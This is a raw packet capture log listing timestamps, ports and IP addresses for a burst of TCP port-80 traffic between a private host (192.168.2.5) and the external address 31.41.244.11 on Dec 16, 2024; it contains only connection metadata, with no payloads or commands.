Dec 16, 2024 09:01:15.260350943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.260354996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.260401964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.261327028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.261375904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.261409044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.261460066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.262310982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.262360096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.262419939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.262465000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.263300896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.263350964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.263413906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.263461113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.264281988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.264328957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.264350891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.264396906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.265315056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.265362978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.265414000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.265460014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.266305923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.266352892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.266413927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.266464949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.267250061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.267302990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.267379045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.267426014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.268254995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.268301964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.268378973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.268426895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.269263029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.269313097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.269373894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.269419909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.270289898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.270335913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.270441055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.270487070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.271239996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.271286964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.271380901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.271428108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.272248030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.272294044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.272356033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.272413969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.273269892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.273319960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.273375988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.273422956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.274226904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.274275064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.274321079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.274367094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.275242090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.275288105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.275368929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.275415897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.276220083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.276267052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.276328087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.276372910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.277209044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.277256966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.277297020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.277343035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.278217077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.278263092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.278301001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.278347969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.419083118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.419172049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.419174910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.419222116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.419435024 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.419523001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.419528008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.419568062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.420389891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.420439005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.420521975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.420572042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.421385050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.421436071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.421715975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.421766043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.421819925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.421866894 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.422718048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.422765970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.422797918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.422846079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.423706055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.423755884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.423804045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.423851013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.424685955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.424743891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.424822092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.424873114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.425708055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.425755978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.425801039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.425867081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.426688910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.426738977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.426744938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.426786900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.427710056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.427757978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.427788973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.427845955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.428762913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.428812027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.428896904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.428945065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.429675102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.429727077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.429778099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.429826975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.430823088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.430874109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.430886030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.430932045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.431725025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.431772947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.431777954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.431818008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.432701111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.432750940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.432754993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.432801008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.433708906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.433756113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.434433937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.434483051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.434772968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.434819937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.435059071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.435106039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.435700893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.435749054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.435811043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.435856104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.436676979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.436727047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.436784983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.436846018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.437720060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.437763929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.437850952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.437899113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.438642979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.438694000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.438749075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.438898087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.439655066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.439703941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.439775944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.439822912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.440632105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.440675020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.440741062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.440783024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.441625118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.441668034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.441749096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.441790104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.442720890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.442764044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.442790031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.442831039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.443607092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.443650007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.443723917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.443766117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.444622040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.444664001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.444704056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.444746017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.445594072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.445640087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.445674896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.445717096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.446589947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.446631908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.446713924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.446754932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.447599888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.447644949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.447731972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.447773933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.448616028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.448657036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.448729992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.448776960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.449611902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.449656963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.449691057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.449733019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.450603962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.450649023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.450709105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.450751066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.451584101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.451631069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.451693058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.451735973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.452613115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.452647924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.452661037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.452687025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.453600883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.453645945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.453675985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.453717947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.454577923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.454622984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.454639912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.454682112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.455777884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.455822945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.455909967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.455955029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.456585884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.456630945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.456726074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.456770897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.457581043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.457623005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.457683086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.457727909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.458796978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.458842039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.458878040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.459043026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.459609032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.459655046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.459737062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.459786892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.460604906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.460652113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.460844040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.460887909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.461581945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.461652994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.461731911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.461779118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.462634087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.462727070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.462745905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.462769985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.463587999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.463639021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.463792086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.463839054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.464624882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.464674950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.464772940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.464821100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.465528965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.465579987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.465636015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.465683937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.466542959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.466592073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.466672897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.466723919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.467577934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.467614889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.467626095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.467658043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.468533039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.468581915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.468650103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.468697071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.469491005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.469533920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.469599962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.469641924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.470515966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.470560074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.470582962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.470624924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.611044884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.611078978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.611155033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.611221075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.611319065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.611377001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.612229109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.612318993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.612401009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.613217115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.613246918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.613302946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.613922119 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.614032030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.614084959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.615410089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.615464926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.615472078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.615519047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.615976095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.616035938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.616070032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.616130114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.616976023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.617042065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.617090940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.617152929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.617963076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.618060112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.618118048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.618942976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.619077921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.619143009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.619976044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.620052099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.620124102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.620943069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.621071100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.621129990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.621948004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.622073889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.622133970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.622972012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.623024940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.623073101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.623143911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.623960018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.624017000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.624104023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.624164104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.624919891 CET	80	49817	31.41.244.11	192.168.2.5
